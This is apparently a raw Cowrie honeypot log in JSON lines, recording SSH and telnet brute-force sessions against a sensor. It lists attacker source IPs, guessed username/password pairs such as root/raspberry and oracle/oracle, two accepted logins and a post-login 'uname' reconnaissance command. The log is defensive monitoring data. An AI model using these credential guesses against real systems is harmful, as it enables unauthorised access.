{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:42.323672Z","src_ip":"167.172.73.9","session":"3b207ed639f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.572654Z","src_ip":"167.172.73.9","session":"3b207ed639f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"35147f884102","protocol":"ssh","message":"New connection: 176.65.132.129:44666 (10.17.0.5:22) [session: 35147f884102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.701384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.709388Z","src_ip":"176.65.132.129","session":"35147f884102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.791291Z","src_ip":"176.65.132.129","session":"35147f884102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f8f5805e6ec","protocol":"ssh","message":"New connection: 167.172.73.9:48230 (10.17.0.5:22) [session: 2f8f5805e6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.812820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:43.817917Z","src_ip":"167.172.73.9","session":"2f8f5805e6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:44.063130Z","src_ip":"167.172.73.9","session":"2f8f5805e6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:44.154986Z","src_ip":"176.65.132.129","session":"35147f884102","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:45.073667Z","src_ip":"167.172.73.9","session":"2f8f5805e6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:45.239510Z","src_ip":"176.65.132.129","session":"35147f884102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:45.322327Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:45.328128Z","src_ip":"167.172.73.9","session":"2f8f5805e6ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":60414,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a438352b66d","protocol":"ssh","message":"New connection: 46.253.45.10:60414 (10.17.0.5:22) [session: 5a438352b66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:46.318941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:46.324017Z","src_ip":"46.253.45.10","session":"5a438352b66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:46.440512Z","src_ip":"46.253.45.10","session":"5a438352b66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwwadmin","password":"wwwadmin","message":"login attempt [wwwadmin/wwwadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:46.936591Z","src_ip":"46.253.45.10","session":"5a438352b66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49946,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7dea7fe8b03","protocol":"ssh","message":"New connection: 176.65.132.129:49946 (10.17.0.5:22) [session: f7dea7fe8b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:47.279115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:47.283849Z","src_ip":"176.65.132.129","session":"f7dea7fe8b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:47.366074Z","src_ip":"176.65.132.129","session":"f7dea7fe8b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:47.612313Z","src_ip":"176.65.132.129","session":"f7dea7fe8b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:48.055361Z","src_ip":"46.253.45.10","session":"5a438352b66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":48274,"dst_ip":"159.203.135.109","dst_port":23,"session":"a365382ca9aa","protocol":"telnet","message":"New connection: 64.227.82.147:48274 (159.203.135.109:23) [session: a365382ca9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:48.514825Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:48.696949Z","src_ip":"176.65.132.129","session":"f7dea7fe8b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49978,"dst_ip":"10.17.0.5","dst_port":22,"session":"9848ca8ec846","protocol":"ssh","message":"New connection: 176.65.132.129:49978 (10.17.0.5:22) [session: 9848ca8ec846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:50.450263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:50.455047Z","src_ip":"176.65.132.129","session":"9848ca8ec846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:50.536838Z","src_ip":"176.65.132.129","session":"9848ca8ec846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:50.782513Z","src_ip":"176.65.132.129","session":"9848ca8ec846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.398667097091675,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:50.957511Z","src_ip":"64.227.82.147","session":"7fd93bde3c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:51.870963Z","src_ip":"176.65.132.129","session":"9848ca8ec846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.02611589431763,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:52.444885Z","src_ip":"192.211.53.160","session":"845d7d568282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50004,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9b5e0b9d0b0","protocol":"ssh","message":"New connection: 176.65.132.129:50004 (10.17.0.5:22) [session: c9b5e0b9d0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:53.791526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:53.798238Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:53.926146Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:54.342002Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:54.736117Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:54.739657Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:54.827271Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:54.832966Z","src_ip":"176.65.132.129","session":"c9b5e0b9d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.46117877960205,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:55.445865Z","src_ip":"45.81.23.16","session":"3b831fd9a9de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.462079286575317,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:55.976731Z","src_ip":"64.227.82.147","session":"a365382ca9aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f6c1c2073c","protocol":"telnet","message":"New connection: 64.227.82.147:33118 (159.203.135.109:23) [session: d2f6c1c2073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:56.700058Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44708,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c4cd1000221","protocol":"ssh","message":"New connection: 176.65.132.129:44708 (10.17.0.5:22) [session: 8c4cd1000221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:57.350628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:57.355842Z","src_ip":"176.65.132.129","session":"8c4cd1000221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:57.437956Z","src_ip":"176.65.132.129","session":"8c4cd1000221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00104880332947,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:57.574040Z","src_ip":"38.54.119.93","session":"ebf380c54e96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:57.685157Z","src_ip":"176.65.132.129","session":"8c4cd1000221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.10648727416992,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:58.754282Z","src_ip":"38.54.119.93","session":"a172e77e3aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:58.768879Z","src_ip":"176.65.132.129","session":"8c4cd1000221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.53275537490845,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:59.614101Z","src_ip":"38.60.198.128","session":"44bdc99a3855","protocol":"telnet"}
